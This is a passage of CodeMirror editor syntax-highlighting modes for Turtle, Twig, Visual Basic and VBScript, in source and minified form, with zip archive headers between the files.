strict";a.defineMode("turtle",(function(a){function
b(a){return new
RegExp("^(?:"+a.join("|")+")$","i")}function
c(a,b){var
c=a.next();if(g=null,"<"==c&&!a.match(/^[\s\u00a0=]/,!1))return
a.match(/^[^\s\u00a0>]*>?/),"atom";if('"'==c||"'"==c)return
b.tokenize=d(c),b.tokenize(a,b);if(/[{}\(\),\.;\[\]]/.test(c))return
g=c,null;if("#"==c)return
a.skipToEnd(),"comment";if(j.test(c))return
a.eatWhile(j),null;if(":"==c)return"operator";if(a.eatWhile(/[_\w\d]/),":"==a.peek())return"variable-3";var
e=a.current();return
i.test(e)?"meta":c>="A"&&c<="Z"?"comment":"keyword";var
e}function d(a){return function(b,d){for(var
e,f=!1;null!=(e=b.next());){if(e==a&&!f){d.tokenize=c;break}f=!f&&"\\"==e}return"string"}}function
e(a,b,c){a.context={prev:a.context,indent:a.indent,col:c,type:b}}function
f(a){a.indent=a.context.indent,a.context=a.context.prev}var
g,h=a.indentUnit,i=(b([]),b(["@prefix","@base","a"])),j=/[*+\-<>=&|]/;return{startState:function(){return{tokenize:c,context:null,indent:0,col:0}},token:function(a,b){if(a.sol()&&(b.context&&null==b.context.align&&(b.context.align=!1),b.indent=a.indentation()),a.eatSpace())return
null;var
c=b.tokenize(a,b);if("comment"!=c&&b.context&&null==b.context.align&&"pattern"!=b.context.type&&(b.context.align=!0),"("==g)e(b,")",a.column());else
if("["==g)e(b,"]",a.column());else
if("{"==g)e(b,"}",a.column());else
if(/[\]\}\)]/.test(g)){for(;b.context&&"pattern"==b.context.type;)f(b);b.context&&g==b.context.type&&f(b)}else"."==g&&b.context&&"pattern"==b.context.type?f(b):/atom|string|variable/.test(c)&&b.context&&(/[\}\]]/.test(b.context.type)?e(b,"pattern",a.column()):"pattern"!=b.context.type||b.context.align||(b.context.align=!0,b.context.col=a.column()));return
c},indent:function(a,b){var
c=b&&b.charAt(0),d=a.context;if(/[\]\}]/.test(c))for(;d&&"pattern"==d.type;)d=d.prev;var
e=d&&c==d.type;return
d?"pattern"==d.type?d.col:d.align?d.col+(e?0:1):d.indent+(e?0:h):0},lineComment:"#"}})),a.defineMIME("text/turtle","turtle")}));PKN��[%�c���codemirror/mode/twig/twig.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"), 
require("../../addon/mode/multiplex"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror",
"../../addon/mode/multiplex"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("twig:inner", function() {
    var keywords = ["and", "as",
"autoescape", "endautoescape", "block",
"do", "endblock", "else", "elseif",
"extends", "for", "endfor",
"embed", "endembed", "filter",
"endfilter", "flush", "from", "if",
"endif", "in", "is", "include",
"import", "not", "or", "set",
"spaceless", "endspaceless", "with",
"endwith", "trans", "endtrans",
"blocktrans", "endblocktrans", "macro",
"endmacro", "use", "verbatim",
"endverbatim"],
        operator = /^[+\-*&%=<>!?|~^]/,
        sign = /^[:\[\(\{]/,
        atom = ["true", "false", "null",
"empty", "defined", "divisibleby",
"divisible by", "even", "odd",
"iterable", "sameas", "same as"],
        number = /^(\d[+\-\*\/])?\d+(\.\d+)?/;

    keywords = new RegExp("((" + keywords.join(")|(") +
"))\\b");
    atom = new RegExp("((" + atom.join(")|(") +
"))\\b");

    function tokenBase (stream, state) {
      var ch = stream.peek();

      //Comment
      if (state.incomment) {
        if (!stream.skipTo("#}")) {
          stream.skipToEnd();
        } else {
          stream.eatWhile(/\#|}/);
          state.incomment = false;
        }
        return "comment";
      //Tag
      } else if (state.intag) {
        //After operator
        if (state.operator) {
          state.operator = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }
        //After sign
        if (state.sign) {
          state.sign = false;
          if (stream.match(atom)) {
            return "atom";
          }
          if (stream.match(number)) {
            return "number";
          }
        }

        if (state.instring) {
          if (ch == state.instring) {
            state.instring = false;
          }
          stream.next();
          return "string";
        } else if (ch == "'" || ch == '"') {
          state.instring = ch;
          stream.next();
          return "string";
        } else if (stream.match(state.intag + "}") ||
stream.eat("-") && stream.match(state.intag +
"}")) {
          state.intag = false;
          return "tag";
        } else if (stream.match(operator)) {
          state.operator = true;
          return "operator";
        } else if (stream.match(sign)) {
          state.sign = true;
        } else {
          if (stream.eat(" ") || stream.sol()) {
            if (stream.match(keywords)) {
              return "keyword";
            }
            if (stream.match(atom)) {
              return "atom";
            }
            if (stream.match(number)) {
              return "number";
            }
            if (stream.sol()) {
              stream.next();
            }
          } else {
            stream.next();
          }

        }
        return "variable";
      } else if (stream.eat("{")) {
        if (stream.eat("#")) {
          state.incomment = true;
          if (!stream.skipTo("#}")) {
            stream.skipToEnd();
          } else {
            stream.eatWhile(/\#|}/);
            state.incomment = false;
          }
          return "comment";
        //Open tag
        } else if (ch = stream.eat(/\{|%/)) {
          //Cache close tag
          state.intag = ch;
          if (ch == "{") {
            state.intag = "}";
          }
          stream.eat("-");
          return "tag";
        }
      }
      stream.next();
    };

    return {
      startState: function () {
        return {};
      },
      token: function (stream, state) {
        return tokenBase(stream, state);
      }
    };
  });

  CodeMirror.defineMode("twig", function(config, parserConfig) {
    var twigInner = CodeMirror.getMode(config, "twig:inner");
    if (!parserConfig || !parserConfig.base) return twigInner;
    return CodeMirror.multiplexingMode(
      CodeMirror.getMode(config, parserConfig.base), {
        open: /\{[{#%]/, close: /[}#%]\}/, mode: twigInner,
parseDelimiters: true
      }
    );
  });
  CodeMirror.defineMIME("text/x-twig", "twig");
});
PKN��[�J�o��
codemirror/mode/twig/twig.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../../addon/mode/multiplex")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../../addon/mode/multiplex"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("twig:inner",(function(){function
a(a,g){var h=a.peek();if(g.incomment)return
a.skipTo("#}")?(a.eatWhile(/\#|}/),g.incomment=!1):a.skipToEnd(),"comment";if(g.intag){if(g.operator){if(g.operator=!1,a.match(e))return"atom";if(a.match(f))return"number"}if(g.sign){if(g.sign=!1,a.match(e))return"atom";if(a.match(f))return"number"}if(g.instring)return
h==g.instring&&(g.instring=!1),a.next(),"string";if("'"==h||'"'==h)return
g.instring=h,a.next(),"string";if(a.match(g.intag+"}")||a.eat("-")&&a.match(g.intag+"}"))return
g.intag=!1,"tag";if(a.match(c))return
g.operator=!0,"operator";if(a.match(d))g.sign=!0;else
if(a.eat("
")||a.sol()){if(a.match(b))return"keyword";if(a.match(e))return"atom";if(a.match(f))return"number";a.sol()&&a.next()}else
a.next();return"variable"}if(a.eat("{")){if(a.eat("#"))return
g.incomment=!0,a.skipTo("#}")?(a.eatWhile(/\#|}/),g.incomment=!1):a.skipToEnd(),"comment";if(h=a.eat(/\{|%/))return
g.intag=h,"{"==h&&(g.intag="}"),a.eat("-"),"tag"}a.next()}var
b=["and","as","autoescape","endautoescape","block","do","endblock","else","elseif","extends","for","endfor","embed","endembed","filter","endfilter","flush","from","if","endif","in","is","include","import","not","or","set","spaceless","endspaceless","with","endwith","trans","endtrans","blocktrans","endblocktrans","macro","endmacro","use","verbatim","endverbatim"],c=/^[+\-*&%=<>!?|~^]/,d=/^[:\[\(\{]/,e=["true","false","null","empty","defined","divisibleby","divisible
by","even","odd","iterable","sameas","same
as"],f=/^(\d[+\-\*\/])?\d+(\.\d+)?/;return b=new
RegExp("(("+b.join(")|(")+"))\\b"),e=new
RegExp("(("+e.join(")|(")+"))\\b"),{startState:function(){return{}},token:function(b,c){return
a(b,c)}}})),a.defineMode("twig",(function(b,c){var
d=a.getMode(b,"twig:inner");return
c&&c.base?a.multiplexingMode(a.getMode(b,c.base),{open:/\{[{#%]/,close:/[}#%]\}/,mode:d,parseDelimiters:!0}):d})),a.defineMIME("text/x-twig","twig")}));PKN��[
r҃m&m&codemirror/mode/vb/vb.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("vb", function(conf, parserConf) {
    var ERRORCLASS = 'error';

    function wordRegexp(words) {
        return new RegExp("^((" + words.join(")|(") +
"))\\b", "i");
    }

    var singleOperators = new
RegExp("^[\\+\\-\\*/%&\\\\|\\^~<>!]");
    var singleDelimiters = new
RegExp('^[\\(\\)\\[\\]\\{\\}@,:`=;\\.]');
    var doubleOperators = new
RegExp("^((==)|(<>)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\*\\*))");
    var doubleDelimiters = new
RegExp("^((\\+=)|(\\-=)|(\\*=)|(%=)|(/=)|(&=)|(\\|=)|(\\^=))");
    var tripleDelimiters = new
RegExp("^((//=)|(>>=)|(<<=)|(\\*\\*=))");
    var identifiers = new RegExp("^[_A-Za-z][_A-Za-z0-9]*");

    var openingKeywords = ['class','module',
'sub','enum','select','while','if','function',
'get','set','property', 'try',
'structure', 'synclock', 'using',
'with'];
    var middleKeywords =
['else','elseif','case', 'catch',
'finally'];
    var endKeywords = ['next','loop'];

    var operatorKeywords = ['and', "andalso",
'or', 'orelse', 'xor', 'in',
'not', 'is', 'isnot', 'like'];
    var wordOperators = wordRegexp(operatorKeywords);

    var commonKeywords = ["#const", "#else",
"#elseif", "#end", "#if",
"#region", "addhandler", "addressof",
"alias", "as", "byref", "byval",
"cbool", "cbyte", "cchar", "cdate",
"cdbl", "cdec", "cint", "clng",
"cobj", "compare", "const",
"continue", "csbyte", "cshort",
"csng", "cstr", "cuint", "culng",
"cushort", "declare", "default",
"delegate", "dim", "directcast",
"each", "erase", "error", "event",
"exit", "explicit", "false", "for",
"friend", "gettype", "goto",
"handles", "implements", "imports",
"infer", "inherits", "interface",
"isfalse", "istrue", "lib", "me",
"mod", "mustinherit", "mustoverride",
"my", "mybase", "myclass",
"namespace", "narrowing", "new",
"nothing", "notinheritable",
"notoverridable", "of", "off",
"on", "operator", "option",
"optional", "out", "overloads",
"overridable", "overrides", "paramarray",
"partial", "private", "protected",
"public", "raiseevent", "readonly",
"redim", "removehandler", "resume",
"return", "shadows", "shared",
"static", "step", "stop", "strict",
"then", "throw", "to", "true",
"trycast", "typeof", "until",
"until", "when", "widening",
"withevents", "writeonly"];

    var commontypes = ['object', 'boolean',
'char', 'string', 'byte', 'sbyte',
'short', 'ushort', 'int16',
'uint16', 'integer', 'uinteger',
'int32', 'uint32', 'long', 'ulong',
'int64', 'uint64', 'decimal',
'single', 'double', 'float',
'date', 'datetime', 'intptr',
'uintptr'];

    var keywords = wordRegexp(commonKeywords);
    var types = wordRegexp(commontypes);
    var stringPrefixes = '"';

    var opening = wordRegexp(openingKeywords);
    var middle = wordRegexp(middleKeywords);
    var closing = wordRegexp(endKeywords);
    var doubleClosing = wordRegexp(['end']);
    var doOpening = wordRegexp(['do']);

    var indentInfo = null;

    CodeMirror.registerHelper("hintWords", "vb",
openingKeywords.concat(middleKeywords).concat(endKeywords)
                               
.concat(operatorKeywords).concat(commonKeywords).concat(commontypes));

    function indent(_stream, state) {
      state.currentIndent++;
    }

    function dedent(_stream, state) {
      state.currentIndent--;
    }
    // tokenizers
    function tokenBase(stream, state) {
        if (stream.eatSpace()) {
            return null;
        }

        var ch = stream.peek();

        // Handle Comments
        if (ch === "'") {
            stream.skipToEnd();
            return 'comment';
        }


        // Handle Number Literals
        if (stream.match(/^((&H)|(&O))?[0-9\.a-f]/i, false)) {
            var floatLiteral = false;
            // Floats
            if (stream.match(/^\d*\.\d+F?/i)) { floatLiteral = true; }
            else if (stream.match(/^\d+\.\d*F?/)) { floatLiteral = true; }
            else if (stream.match(/^\.\d+F?/)) { floatLiteral = true; }

            if (floatLiteral) {
                // Float literals may be "imaginary"
                stream.eat(/J/i);
                return 'number';
            }
            // Integers
            var intLiteral = false;
            // Hex
            if (stream.match(/^&H[0-9a-f]+/i)) { intLiteral = true; }
            // Octal
            else if (stream.match(/^&O[0-7]+/i)) { intLiteral = true; }
            // Decimal
            else if (stream.match(/^[1-9]\d*F?/)) {
                // Decimal literals may be "imaginary"
                stream.eat(/J/i);
                // TODO - Can you have imaginary longs?
                intLiteral = true;
            }
            // Zero by itself with no other piece of number.
            else if (stream.match(/^0(?![\dx])/i)) { intLiteral = true; }
            if (intLiteral) {
                // Integer literals may be "long"
                stream.eat(/L/i);
                return 'number';
            }
        }

        // Handle Strings
        if (stream.match(stringPrefixes)) {
            state.tokenize = tokenStringFactory(stream.current());
            return state.tokenize(stream, state);
        }

        // Handle operators and Delimiters
        if (stream.match(tripleDelimiters) ||
stream.match(doubleDelimiters)) {
            return null;
        }
        if (stream.match(doubleOperators)
            || stream.match(singleOperators)
            || stream.match(wordOperators)) {
            return 'operator';
        }
        if (stream.match(singleDelimiters)) {
            return null;
        }
        if (stream.match(doOpening)) {
            indent(stream,state);
            state.doInCurrentLine = true;
            return 'keyword';
        }
        if (stream.match(opening)) {
            if (! state.doInCurrentLine)
              indent(stream,state);
            else
              state.doInCurrentLine = false;
            return 'keyword';
        }
        if (stream.match(middle)) {
            return 'keyword';
        }

        if (stream.match(doubleClosing)) {
            dedent(stream,state);
            dedent(stream,state);
            return 'keyword';
        }
        if (stream.match(closing)) {
            dedent(stream,state);
            return 'keyword';
        }

        if (stream.match(types)) {
            return 'keyword';
        }

        if (stream.match(keywords)) {
            return 'keyword';
        }

        if (stream.match(identifiers)) {
            return 'variable';
        }

        // Handle non-detected items
        stream.next();
        return ERRORCLASS;
    }

    function tokenStringFactory(delimiter) {
        var singleline = delimiter.length == 1;
        var OUTCLASS = 'string';

        return function(stream, state) {
            while (!stream.eol()) {
                stream.eatWhile(/[^'"]/);
                if (stream.match(delimiter)) {
                    state.tokenize = tokenBase;
                    return OUTCLASS;
                } else {
                    stream.eat(/['"]/);
                }
            }
            if (singleline) {
                if (parserConf.singleLineStringErrors) {
                    return ERRORCLASS;
                } else {
                    state.tokenize = tokenBase;
                }
            }
            return OUTCLASS;
        };
    }


    function tokenLexer(stream, state) {
        var style = state.tokenize(stream, state);
        var current = stream.current();

        // Handle '.' connected identifiers
        if (current === '.') {
            style = state.tokenize(stream, state);
            if (style === 'variable') {
                return 'variable';
            } else {
                return ERRORCLASS;
            }
        }


        var delimiter_index = '[({'.indexOf(current);
        if (delimiter_index !== -1) {
            indent(stream, state );
        }
        if (indentInfo === 'dedent') {
            if (dedent(stream, state)) {
                return ERRORCLASS;
            }
        }
        delimiter_index = '])}'.indexOf(current);
        if (delimiter_index !== -1) {
            if (dedent(stream, state)) {
                return ERRORCLASS;
            }
        }

        return style;
    }

    var external = {
        electricChars:"dDpPtTfFeE ",
        startState: function() {
            return {
              tokenize: tokenBase,
              lastToken: null,
              currentIndent: 0,
              nextLineIndent: 0,
              doInCurrentLine: false


          };
        },

        token: function(stream, state) {
            if (stream.sol()) {
              state.currentIndent += state.nextLineIndent;
              state.nextLineIndent = 0;
              state.doInCurrentLine = 0;
            }
            var style = tokenLexer(stream, state);

            state.lastToken = {style:style, content: stream.current()};



            return style;
        },

        indent: function(state, textAfter) {
            var trueText = textAfter.replace(/^\s+|\s+$/g, '') ;
            if (trueText.match(closing) || trueText.match(doubleClosing) ||
trueText.match(middle)) return conf.indentUnit*(state.currentIndent-1);
            if(state.currentIndent < 0) return 0;
            return state.currentIndent * conf.indentUnit;
        },

        lineComment: "'"
    };
    return external;
});

CodeMirror.defineMIME("text/x-vb", "vb");

});
PKN��[\�x��codemirror/mode/vb/vb.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("vb",(function(b,c){function
d(a){return new
RegExp("^(("+a.join(")|(")+"))\\b","i")}function
e(a,b){b.currentIndent++}function f(a,b){b.currentIndent--}function
g(a,b){if(a.eatSpace())return null;if("'"===a.peek())return
a.skipToEnd(),"comment";if(a.match(/^((&H)|(&O))?[0-9\.a-f]/i,!1)){var
c=!1;if(a.match(/^\d*\.\d+F?/i)?c=!0:a.match(/^\d+\.\d*F?/)?c=!0:a.match(/^\.\d+F?/)&&(c=!0),c)return
a.eat(/J/i),"number";var
d=!1;if(a.match(/^&H[0-9a-f]+/i)?d=!0:a.match(/^&O[0-7]+/i)?d=!0:a.match(/^[1-9]\d*F?/)?(a.eat(/J/i),d=!0):a.match(/^0(?![\dx])/i)&&(d=!0),d)return
a.eat(/L/i),"number"}return
a.match(z)?(b.tokenize=h(a.current()),b.tokenize(a,b)):a.match(o)||a.match(n)?null:a.match(m)||a.match(k)||a.match(u)?"operator":a.match(l)?null:a.match(E)?(e(a,b),b.doInCurrentLine=!0,"keyword"):a.match(A)?(b.doInCurrentLine?b.doInCurrentLine=!1:e(a,b),"keyword"):a.match(B)?"keyword":a.match(D)?(f(a,b),f(a,b),"keyword"):a.match(C)?(f(a,b),"keyword"):a.match(y)?"keyword":a.match(x)?"keyword":a.match(p)?"variable":(a.next(),j)}function
h(a){var b=1==a.length;return
function(d,e){for(;!d.eol();){if(d.eatWhile(/[^'"]/),d.match(a))return
e.tokenize=g,"string";d.eat(/['"]/)}if(b){if(c.singleLineStringErrors)return
j;e.tokenize=g}return"string"}}function i(a,b){var
c=b.tokenize(a,b),d=a.current();if("."===d)return
c=b.tokenize(a,b),"variable"===c?"variable":j;var
g="[({".indexOf(d);return-1!==g&&e(a,b),"dedent"===F&&f(a,b)?j:(g="])}".indexOf(d),-1!==g&&f(a,b)?j:c)}var
j="error",k=new
RegExp("^[\\+\\-\\*/%&\\\\|\\^~<>!]"),l=new
RegExp("^[\\(\\)\\[\\]\\{\\}@,:`=;\\.]"),m=new
RegExp("^((==)|(<>)|(<=)|(>=)|(<>)|(<<)|(>>)|(//)|(\\*\\*))"),n=new
RegExp("^((\\+=)|(\\-=)|(\\*=)|(%=)|(/=)|(&=)|(\\|=)|(\\^=))"),o=new
RegExp("^((//=)|(>>=)|(<<=)|(\\*\\*=))"),p=new
RegExp("^[_A-Za-z][_A-Za-z0-9]*"),q=["class","module","sub","enum","select","while","if","function","get","set","property","try","structure","synclock","using","with"],r=["else","elseif","case","catch","finally"],s=["next","loop"],t=["and","andalso","or","orelse","xor","in","not","is","isnot","like"],u=d(t),v=["#const","#else","#elseif","#end","#if","#region","addhandler","addressof","alias","as","byref","byval","cbool","cbyte","cchar","cdate","cdbl","cdec","cint","clng","cobj","compare","const","continue","csbyte","cshort","csng","cstr","cuint","culng","cushort","declare","default","delegate","dim","directcast","each","erase","error","event","exit","explicit","false","for","friend","gettype","goto","handles","implements","imports","infer","inherits","interface","isfalse","istrue","lib","me","mod","mustinherit","mustoverride","my","mybase","myclass","namespace","narrowing","new","nothing","notinheritable","notoverridable","of","off","on","operator","option","optional","out","overloads","overridable","overrides","paramarray","partial","private","protected","public","raiseevent","readonly","redim","removehandler","resume","return","shadows","shared","static","step","stop","strict","then","throw","to","true","trycast","typeof","until","until","when","widening","withevents","writeonly"],w=["object","boolean","char","string","byte","sbyte","short","ushort","int16","uint16","integer","uinteger","int32","uint32","long","ulong","int64","uint64","decimal","single","double","float","date","datetime","intptr","uintptr"],x=d(v),y=d(w),z='"',A=d(q),B=d(r),C=d(s),D=d(["end"]),E=d(["do"]),F=null;return
a.registerHelper("hintWords","vb",q.concat(r).concat(s).concat(t).concat(v).concat(w)),{electricChars:"dDpPtTfFeE
",startState:function(){return{tokenize:g,lastToken:null,currentIndent:0,nextLineIndent:0,doInCurrentLine:!1}},token:function(a,b){a.sol()&&(b.currentIndent+=b.nextLineIndent,b.nextLineIndent=0,b.doInCurrentLine=0);var
c=i(a,b);return
b.lastToken={style:c,content:a.current()},c},indent:function(a,c){var
d=c.replace(/^\s+|\s+$/g,"");return
d.match(C)||d.match(D)||d.match(B)?b.indentUnit*(a.currentIndent-1):a.currentIndent<0?0:a.currentIndent*b.indentUnit},lineComment:"'"}})),a.defineMIME("text/x-vb","vb")}));PKP��[2O�?�5�5$codemirror/mode/vbscript/vbscript.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
For extra ASP classic objects, initialize CodeMirror instance with this
option:
    isASP: true

E.G.:
    var editor =
CodeMirror.fromTextArea(document.getElementById("code"), {
        lineNumbers: true,
        isASP: true
      });
*/

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("vbscript", function(conf, parserConf) {
    var ERRORCLASS = 'error';

    function wordRegexp(words) {
        return new RegExp("^((" + words.join(")|(") +
"))\\b", "i");
    }

    var singleOperators = new
RegExp("^[\\+\\-\\*/&\\\\\\^<>=]");
    var doubleOperators = new
RegExp("^((<>)|(<=)|(>=))");
    var singleDelimiters = new RegExp('^[\\.,]');
    var brakets = new RegExp('^[\\(\\)]');
    var identifiers = new RegExp("^[A-Za-z][_A-Za-z0-9]*");

    var openingKeywords =
['class','sub','select','while','if','function',
'property', 'with', 'for'];
    var middleKeywords =
['else','elseif','case'];
    var endKeywords = ['next','loop','wend'];

    var wordOperators = wordRegexp(['and', 'or',
'not', 'xor', 'is', 'mod',
'eqv', 'imp']);
    var commonkeywords = ['dim', 'redim',
'then',  'until', 'randomize',
                         
'byval','byref','new','property',
'exit', 'in',
                          'const','private',
'public',
                          'get','set','let',
'stop', 'on error resume next', 'on error goto
0', 'option explicit', 'call', 'me'];

    //This list was from:
http://msdn.microsoft.com/en-us/library/f8tbc79x(v=vs.84).aspx
    var atomWords = ['true', 'false',
'nothing', 'empty', 'null'];
    //This list was from:
http://msdn.microsoft.com/en-us/library/3ca8tfek(v=vs.84).aspx
    var builtinFuncsWords = ['abs', 'array',
'asc', 'atn', 'cbool', 'cbyte',
'ccur', 'cdate', 'cdbl', 'chr',
'cint', 'clng', 'cos', 'csng',
'cstr', 'date', 'dateadd',
'datediff', 'datepart',
                        'dateserial', 'datevalue',
'day', 'escape', 'eval', 'execute',
'exp', 'filter', 'formatcurrency',
'formatdatetime', 'formatnumber',
'formatpercent', 'getlocale', 'getobject',
                        'getref', 'hex',
'hour', 'inputbox', 'instr',
'instrrev', 'int', 'fix',
'isarray', 'isdate', 'isempty',
'isnull', 'isnumeric', 'isobject',
'join', 'lbound', 'lcase', 'left',
                        'len', 'loadpicture',
'log', 'ltrim', 'rtrim', 'trim',
'maths', 'mid', 'minute', 'month',
'monthname', 'msgbox', 'now',
'oct', 'replace', 'rgb', 'right',
'rnd', 'round',
                        'scriptengine',
'scriptenginebuildversion', 'scriptenginemajorversion',
'scriptengineminorversion', 'second',
'setlocale', 'sgn', 'sin', 'space',
'split', 'sqr', 'strcomp',
                        'string', 'strreverse',
'tan', 'time', 'timer',
'timeserial', 'timevalue', 'typename',
'ubound', 'ucase', 'unescape',
'vartype', 'weekday', 'weekdayname',
'year'];

    //This list was from:
http://msdn.microsoft.com/en-us/library/ydz4cfk3(v=vs.84).aspx
    var builtinConsts = ['vbBlack', 'vbRed',
'vbGreen', 'vbYellow', 'vbBlue',
'vbMagenta', 'vbCyan', 'vbWhite',
'vbBinaryCompare', 'vbTextCompare',
                         'vbSunday', 'vbMonday',
'vbTuesday', 'vbWednesday', 'vbThursday',
'vbFriday', 'vbSaturday',
'vbUseSystemDayOfWeek', 'vbFirstJan1',
'vbFirstFourDays', 'vbFirstFullWeek',
                         'vbGeneralDate', 'vbLongDate',
'vbShortDate', 'vbLongTime', 'vbShortTime',
'vbObjectError',
                         'vbOKOnly', 'vbOKCancel',
'vbAbortRetryIgnore', 'vbYesNoCancel',
'vbYesNo', 'vbRetryCancel', 'vbCritical',
'vbQuestion', 'vbExclamation',
'vbInformation', 'vbDefaultButton1',
'vbDefaultButton2',
                         'vbDefaultButton3',
'vbDefaultButton4', 'vbApplicationModal',
'vbSystemModal', 'vbOK', 'vbCancel',
'vbAbort', 'vbRetry', 'vbIgnore',
'vbYes', 'vbNo',
                         'vbCr', 'VbCrLf',
'vbFormFeed', 'vbLf', 'vbNewLine',
'vbNullChar', 'vbNullString', 'vbTab',
'vbVerticalTab', 'vbUseDefault', 'vbTrue',
'vbFalse',
                         'vbEmpty', 'vbNull',
'vbInteger', 'vbLong', 'vbSingle',
'vbDouble', 'vbCurrency', 'vbDate',
'vbString', 'vbObject', 'vbError',
'vbBoolean', 'vbVariant', 'vbDataObject',
'vbDecimal', 'vbByte', 'vbArray'];
    //This list was from:
http://msdn.microsoft.com/en-us/library/hkc375ea(v=vs.84).aspx
    var builtinObjsWords = ['WScript', 'err',
'debug', 'RegExp'];
    var knownProperties = ['description', 'firstindex',
'global', 'helpcontext', 'helpfile',
'ignorecase', 'length', 'number',
'pattern', 'source', 'value',
'count'];
    var knownMethods = ['clear', 'execute',
'raise', 'replace', 'test',
'write', 'writeline', 'close',
'open', 'state', 'eof', 'update',
'addnew', 'end', 'createobject',
'quit'];

    var aspBuiltinObjsWords = ['server', 'response',
'request', 'session', 'application'];
    var aspKnownProperties = ['buffer', 'cachecontrol',
'charset', 'contenttype', 'expires',
'expiresabsolute', 'isclientconnected',
'pics', 'status', //response
                              'clientcertificate',
'cookies', 'form', 'querystring',
'servervariables', 'totalbytes', //request
                              'contents',
'staticobjects', //application
                              'codepage', 'lcid',
'sessionid', 'timeout', //session
                              'scripttimeout']; //server
    var aspKnownMethods = ['addheader', 'appendtolog',
'binarywrite', 'end', 'flush',
'redirect', //response
                           'binaryread', //request
                           'remove', 'removeall',
'lock', 'unlock', //application
                           'abandon', //session
                           'getlasterror',
'htmlencode', 'mappath', 'transfer',
'urlencode']; //server

    var knownWords = knownMethods.concat(knownProperties);

    builtinObjsWords = builtinObjsWords.concat(builtinConsts);

    if (conf.isASP){
        builtinObjsWords = builtinObjsWords.concat(aspBuiltinObjsWords);
        knownWords = knownWords.concat(aspKnownMethods,
aspKnownProperties);
    };

    var keywords = wordRegexp(commonkeywords);
    var atoms = wordRegexp(atomWords);
    var builtinFuncs = wordRegexp(builtinFuncsWords);
    var builtinObjs = wordRegexp(builtinObjsWords);
    var known = wordRegexp(knownWords);
    var stringPrefixes = '"';

    var opening = wordRegexp(openingKeywords);
    var middle = wordRegexp(middleKeywords);
    var closing = wordRegexp(endKeywords);
    var doubleClosing = wordRegexp(['end']);
    var doOpening = wordRegexp(['do']);
    var noIndentWords = wordRegexp(['on error resume next',
'exit']);
    var comment = wordRegexp(['rem']);


    function indent(_stream, state) {
      state.currentIndent++;
    }

    function dedent(_stream, state) {
      state.currentIndent--;
    }
    // tokenizers
    function tokenBase(stream, state) {
        if (stream.eatSpace()) {
            return 'space';
            //return null;
        }

        var ch = stream.peek();

        // Handle Comments
        if (ch === "'") {
            stream.skipToEnd();
            return 'comment';
        }
        if (stream.match(comment)){
            stream.skipToEnd();
            return 'comment';
        }


        // Handle Number Literals
        if (stream.match(/^((&H)|(&O))?[0-9\.]/i, false) &&
!stream.match(/^((&H)|(&O))?[0-9\.]+[a-z_]/i, false)) {
            var floatLiteral = false;
            // Floats
            if (stream.match(/^\d*\.\d+/i)) { floatLiteral = true; }
            else if (stream.match(/^\d+\.\d*/)) { floatLiteral = true; }
            else if (stream.match(/^\.\d+/)) { floatLiteral = true; }

            if (floatLiteral) {
                // Float literals may be "imaginary"
                stream.eat(/J/i);
                return 'number';
            }
            // Integers
            var intLiteral = false;
            // Hex
            if (stream.match(/^&H[0-9a-f]+/i)) { intLiteral = true; }
            // Octal
            else if (stream.match(/^&O[0-7]+/i)) { intLiteral = true; }
            // Decimal
            else if (stream.match(/^[1-9]\d*F?/)) {
                // Decimal literals may be "imaginary"
                stream.eat(/J/i);
                // TODO - Can you have imaginary longs?
                intLiteral = true;
            }
            // Zero by itself with no other piece of number.
            else if (stream.match(/^0(?![\dx])/i)) { intLiteral = true; }
            if (intLiteral) {
                // Integer literals may be "long"
                stream.eat(/L/i);
                return 'number';
            }
        }

        // Handle Strings
        if (stream.match(stringPrefixes)) {
            state.tokenize = tokenStringFactory(stream.current());
            return state.tokenize(stream, state);
        }

        // Handle operators and Delimiters
        if (stream.match(doubleOperators)
            || stream.match(singleOperators)
            || stream.match(wordOperators)) {
            return 'operator';
        }
        if (stream.match(singleDelimiters)) {
            return null;
        }

        if (stream.match(brakets)) {
            return "bracket";
        }

        if (stream.match(noIndentWords)) {
            state.doInCurrentLine = true;

            return 'keyword';
        }

        if (stream.match(doOpening)) {
            indent(stream,state);
            state.doInCurrentLine = true;

            return 'keyword';
        }
        if (stream.match(opening)) {
            if (! state.doInCurrentLine)
              indent(stream,state);
            else
              state.doInCurrentLine = false;

            return 'keyword';
        }
        if (stream.match(middle)) {
            return 'keyword';
        }


        if (stream.match(doubleClosing)) {
            dedent(stream,state);
            dedent(stream,state);

            return 'keyword';
        }
        if (stream.match(closing)) {
            if (! state.doInCurrentLine)
              dedent(stream,state);
            else
              state.doInCurrentLine = false;

            return 'keyword';
        }

        if (stream.match(keywords)) {
            return 'keyword';
        }

        if (stream.match(atoms)) {
            return 'atom';
        }

        if (stream.match(known)) {
            return 'variable-2';
        }

